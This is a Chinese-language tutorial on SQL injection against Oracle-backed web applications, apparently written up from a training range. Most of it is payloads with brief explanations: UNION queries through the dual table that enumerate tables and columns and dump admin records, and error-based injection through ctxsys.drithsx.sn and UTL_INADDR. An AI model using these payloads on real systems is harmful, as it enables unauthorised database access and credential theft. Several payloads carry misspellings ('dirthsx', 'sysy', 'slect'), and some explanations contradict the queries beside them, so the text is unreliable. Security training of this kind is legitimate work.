Oracle Database,又名Oracle RDBMS,或简称Oracle数据库。是甲骨文公司的一款关系数据库管理系统。Oracle数据库系统是目前世界上流行的关系数据库管理系统,系统可移植性好、使用方便、功能强,适用于各类大、中、小、微机环境。它是一种高效率、可靠性好的 适应高吞吐量的数据库解决方案。
1.Oracle 使用查询语句获取数据时需要跟上表名,没有表的情况下可以使用dual,dual是Oracle的虚拟表,用来构成select的语法规则。Oracle的dual表里面永远只有一条记录X。
2.Oracle的数据类型是强匹配的(MYSQL是弱匹配),所以在Oracle进行类似UNION查询数据时候必须让对应位置上的数据类型和表中的列的数据类型是一致的,也可以使用null代替某些无法快速猜测出数据类型的位置。
3.Oracle的单行注释符号是–,多行注释符号/**/。
4.获取数据库版本:
and 1=ctxsys.dirthsx.sn(1,(select banner from sys.v_$version where rownum=1))--
select banner from sysy.v_$version where rownum=1
5.获取数据表名:
slect table_name from user_tables where rownum=1
这里解释下rownum的使用
选择表中的某一行记录:(理解:rownum是oracle系统顺序分配为从查询返回的行的编号),也可以使用rownum>或者rownum<。
获取关键表中的列名:
' union all select null,(select column_name from user_tab_columns where table_name='表名' and rownum=1),null from dual --
' union all select null,(select column_name from user_tab_columns where table_name='表名' and column_name<>'字段值' and rownum=1),null from dual --
' union all select null,(select column_name from user_tab_columns where table_name='表名' and column_name<>'字段值' and column_name<>'字段值' and rownum=1),null from dual --
' union all select null,(select column_name from user_tab_columns where table_name='表名' and column_name<>'字段值' and column_name<>'字段值' and column_name<>'字段值' and rownum=1),null from dual --
这里解释下 <> :
and 字段名<>字段值(一个条件,查询时排除符合条件的数据,当字段名中的字段值符合数据就排除符合这个条件的数据,相当于不等于)
注意Oracle数据库的表名和字段名都是大写的
获取关键列中的字段数据
' union all select 字段名1,字段名2,字段名3 from 表名--
这里也是使用掌控者的靶场
首先输入一个单引号判断是否存在注入点。
明显存在注入点,并且回显了ORA-01756,这明显是orale的数据库。接下来可以判断这几个字段的数据类型,把字段为改成相应的数据类型,若回显正确则,这个字段位就是这个数据类型,反之则不是。例如下面可确定第一个字段是数据类型。
这里有一个查询入口:index_x.php
进入查询入口通过select * from all_tables查询出所有表
查询当前用户表:select * from user_tables
发现当前用户只有news表和admin表,接下来查询这两个表的字段
select * from user_tab_columns
接下来select * from admin查看admin表的数据
' and (select count(*) from admin)<>0--
返回正常。说明存在admin表。如果返回错误,可将admin改为username、manage等常用表名继续猜解
'and (select count(*) from admin)=1--
返回正常说明只有一个管理员,爆数据第一个表
'and 1=2 union all select 1,(select table_name from user_tables where rownum=1),null from dual--
可以这样爆第二个表
'and 1=2 union all select 1,(select table_name from user_tables where rownum=1 and table_name not in ('第一个表')) from dual--
已知表的前提下,判断表中字段结构。
'and (select count(user_name) from admin)>=0-- 返回正常,说明存在name字段
'and (select count(name) from admin)>=0-- 返回错误,说明不存在pass字段
'and 1=2 union all select 1,(select column_name from user_tab_columns where rownum=1 and table_name='表名(大写的)'),null from dual--
爆某表的第一个字段
'and 1=2 union all select 1,(select column_name from user_tab_columns where rownum=1 and table_name='表名' and column_name not in ('第一个字段')),null from dual--
爆表的第二个字段
爆其它字段以此类推
爆某表中的第一行数据:
'and 1=2 union select 1,字段1||字段2…||字段n from 表名 where rownum=1 --连接多个字段用到的连接符号是||,在oracle数据库中concat函数只能连接两个字符串。
以上的方法是字段是字符类型或者数字类型的,而靶场是使用二进制类型的数据存储方式,所以子查询是不能做的,可以使用盲注,但是很麻烦,所以利用一些特殊的函数进行报错注入。
这里因为靶场不知为何挂了,演示不了,但是可以讲一下一些函数的报错注入方式。
返回环境中的本主机名
select UTL_INADDR.get_host_name() from dual;
返回局域网内指定IP地址的主机名
select UTL_INADDR.get_host_name('192.168.0.156') from dual;
返回intrenet中指定IP地址的网址
Oracle的报错回显方法还有很多,比如利用函数之类的。因数量比较多,这里就不阐述了(百度有很多)。
ctxsys.drithsx.sn(user,(select banner from v$version where rownum=1))
去查询关于主题的对应关键字,然后因为查询失败(应该是这个用户没有创建和查询的权限,默认情况没有创建,爆出未查询到的错误而爆出查询的内容)
and 1=ctxsys.dirthsx.sn(1,(select banner from sys.v_$version where rownum=1))--
查询数据库版本,这样的函数还有很多,可以去百度,这里就不一一演示了。